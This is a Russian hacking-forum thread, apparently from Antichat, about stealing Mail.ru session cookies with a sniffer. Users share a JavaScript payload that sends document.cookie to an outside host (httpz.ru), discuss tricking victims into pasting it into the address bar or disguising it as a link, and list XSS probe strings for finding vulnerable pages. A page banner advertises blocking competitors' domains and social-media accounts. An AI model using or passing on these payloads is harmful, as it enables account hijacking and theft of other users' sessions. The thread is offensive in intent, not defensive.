Взлом Mail.ru со сниффером

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
Взлом Mail.ru со сниффером

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

25.03.2010, 01:00

terris

Участник форума

Регистрация: 08.03.2010

Сообщений: 150

С нами: 8515766

Репутация: 14

vik3001,ты видимо не понял меня. если заставить жертву вставить на адресную строку тот
code:

javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;')

то придут куки.Но...вот в чем моя проблема не могу создать ссылку в которую можно было бы вставить тот самый
code:

javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;')

и еще ведь на mail.ru уже с открыткой в которой код
code:

img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;

не получается стырить куки!!!

#12

03.04.2010, 01:00

Bond010296

Новичок

Регистрация: 03.11.2009

Сообщений: 0

С нами: 8694874

Репутация: 0

чтобы стырить надо жертву заставить явакод для адресной строки себе вставить( А это не так просто! Вот еслибы его можно было под ссылку замаскировать то было-бы гуд)

#13

05.04.2010, 01:00

firs94

Участник форума

Регистрация: 01.12.2009

Сообщений: 114

С нами: 8655446

Репутация: 19

Цитата:

Сообщение от ROCK_sTaR

Пассивка >alert() и пошёл по страницам искать, подставляя это в адресную строку...

всмысле так искать пасивку а вот как узнать что ты её нашеел и где можон искать и как её добавлять после ссылки типа
http://hacker-pro.net/newreply.php?do=newreply&p=105559>alert()

#14

08.04.2010, 01:00

al1916

Познающий

Регистрация: 08.04.2010

Сообщений: 35

С нами: 8471126

Репутация: -1

пробуйте подставлять в адресную строку вот эти скрипты для проверки уязвимости:
alert()
">alert()
'>">alert(/XSS/)
alert('xss')
alert('A');
">alert(document .cookie)